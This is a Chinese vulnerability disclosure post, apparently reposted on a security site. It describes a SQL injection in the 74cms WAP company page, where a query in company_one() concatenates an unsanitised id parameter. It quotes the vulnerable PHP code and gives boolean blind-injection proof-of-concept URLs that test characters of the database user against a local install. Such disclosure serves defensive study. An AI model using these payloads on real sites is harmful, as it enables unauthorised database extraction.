74cms一处注入

没穿底裤 2020年1月1日04:38:17评论367 views字数 1317阅读4分23秒阅读模式
摘要

/wap/wap-company-show.php 传递进来一个id,看一下company_one/include/fun_wap.php虽然在wheresql这里做了过滤


漏洞作者: SLAckEr

/wap/wap-company-show.php

 

define('IN_QISHI', true); require_once(dirname(__FILE__).'/../include/common.inc.php'); require_once(QISHI_ROOT_PATH.'include/fun_wap.php'); require_once(QISHI_ROOT_PATH.'include/mysql.class.php'); $smarty->cache = false; $db = new mysql($dbhost,$dbuser,$dbpass,$dbname); $smarty->assign('show',company_one($_GET['id'])); $smarty->assign('goback',$_SERVER["HTTP_REFERER"]); $smarty->display("wap/wap-company-show.html"); ?>

传递进来一个id,看一下company_one

/include/fun_wap.php

function company_one($id) {  global $db;  $wheresql=" WHERE id=".intval($id);  $sql = "select * from ".table('company_profile').$wheresql." LIMIT 1";  $val=$db->getone($sql);  $jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5");  foreach ($jobslist as $key => $value) {   $jobslist[$key]['url'] = wap_url_rewrite("wap-jobs-show",array("id"=>$value['id']));  }  $val['jobslist'] = $jobslist;  return $val; }

虽然在wheresql这里做了过滤

$wheresql=" WHERE id=".intval($id);

但是下面

$jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5");

却没有处理。

随便注册个号,访问一个发布了职位的企业,或者自己申请个企业的号,访问自己的主页

鼠标移到招聘职位的

地方,可以看到id

74cms一处注入

 

74cms一处注入

 

74cms一处注入

 

漏洞证明:

http://127.0.0.1/74cms1104/wap/wap-company-show.php?id=1 and ascii(substring((user()),1,1))=114 返回正常,说明user()的第一个字符的ascii为114

http://127.0.0.1/74cms1104/wap/wap-company-show.php?id=1 and ascii(substring((user()),1,1))=1141 返回错误

盲注吧。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日04:38:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   74cms一处注入http://cn-sec.com/archives/76009.html

发表评论

匿名网友 填写信息